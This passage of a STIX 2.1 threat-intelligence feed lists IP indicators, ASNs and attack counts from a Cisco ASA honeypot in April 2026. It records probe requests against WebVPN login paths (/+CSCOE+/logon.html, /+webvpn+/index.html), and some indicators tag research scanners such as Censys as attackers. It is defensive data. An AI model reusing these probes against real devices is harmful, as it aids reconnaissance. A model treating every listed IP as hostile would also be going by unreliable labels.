      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:20:52.000Z",
      "valid_until": "2026-05-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T02:04:46.218Z",
          "last_seen": "2026-04-18T02:20:18.891Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T02:20:52.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e817407b-e748-495f-9331-be5693955452",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:20:52.000Z",
      "valid_until": "2026-05-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T01:46:13.224Z",
          "last_seen": "2026-04-26T01:57:59.521Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T02:20:52.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3b9f9bb3-eccb-4f35-b558-b5edc62fe12f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:20:52.000Z",
      "valid_until": "2026-05-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T01:28:40.318Z",
          "last_seen": "2026-04-27T18:37:19.640Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T02:20:52.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f915f0d4-5d4d-43bd-b32d-ce3cc39db995",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:20:52.000Z",
      "valid_until": "2026-05-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T02:04:40.337Z",
          "last_seen": "2026-04-18T02:04:49.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T02:20:52.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--efc50503-57e2-48c1-a157-49efc1b0363a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T02:20:52.000Z",
      "valid_until": "2026-05-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T01:56:07.139Z",
          "last_seen": "2026-04-18T01:56:58.444Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--9eb691a3-9c65-46b4-b719-07c9d46dce23",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:20:11.000Z",
      "valid_until": "2026-05-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T03:15:56.243Z",
          "last_seen": "2026-04-29T21:15:58.116Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--85bc12da-ecb2-444c-8a92-d3725d8e358c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:20:11.000Z",
      "valid_until": "2026-05-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-18T02:23:01.643Z",
          "last_seen": "2026-04-25T06:01:26.589Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dbbee334-5f65-4ba7-8a3a-4bd5ae1c7958",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:20:11.000Z",
      "valid_until": "2026-05-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T03:04:40.881Z",
          "last_seen": "2026-04-29T09:07:20.903Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cbf12c42-f440-490f-b21a-eef863c9a5ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:20:11.000Z",
      "valid_until": "2026-05-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T02:20:56.909Z",
          "last_seen": "2026-04-19T08:35:48.490Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5ec2c276-40de-495d-96cf-4b62183f143d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:20:11.000Z",
      "valid_until": "2026-05-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T03:05:11.792Z",
          "last_seen": "2026-04-27T15:09:52.822Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a1713a7b-342b-48d8-86b8-fc3cfbac8f3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T03:20:11.000Z",
      "valid_until": "2026-05-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T02:35:00.306Z",
          "last_seen": "2026-04-27T23:41:50.120Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fa2df2fa-6956-4908-b9cf-f33eec325e73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T03:35:55.513Z",
          "last_seen": "2026-04-21T01:20:54.905Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--811bb1d2-b5b2-412b-ac7d-20c40c566e8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T04:05:18.512Z",
          "last_seen": "2026-04-21T15:21:53.782Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2e4a2a0b-6b7b-4074-bdab-198e4af5a60c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T03:34:07.301Z",
          "last_seen": "2026-04-26T06:11:08.911Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fa31fc68-5ff1-49ba-9fb4-584e5b2ac657",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-18T03:51:56.037Z",
          "last_seen": "2026-04-29T23:53:40.952Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5ddb5dde-897e-40a7-a425-cd630a85108b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-18T03:47:16.780Z",
          "last_seen": "2026-04-30T00:20:06.682Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8654411b-d652-4f1e-a943-befacd8bc6c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T03:38:12.515Z",
          "last_seen": "2026-04-18T03:38:21.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e0686651-49db-4317-9854-a05af8edaeba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T04:20:10.000Z",
      "valid_until": "2026-05-20T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T04:15:31.314Z",
          "last_seen": "2026-04-18T04:15:43.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8659b8bb-6f8f-4937-90de-2ca4b8a8a181",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T05:05:22.801Z",
          "last_seen": "2026-04-30T03:15:50.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--175ef817-efaf-4648-9b1d-910a32ea2b7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-18T04:46:16.072Z",
          "last_seen": "2026-04-18T04:46:19.076Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a5150917-b658-41c7-9402-a502ee1398fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.233']",
      "pattern_type": "stix",
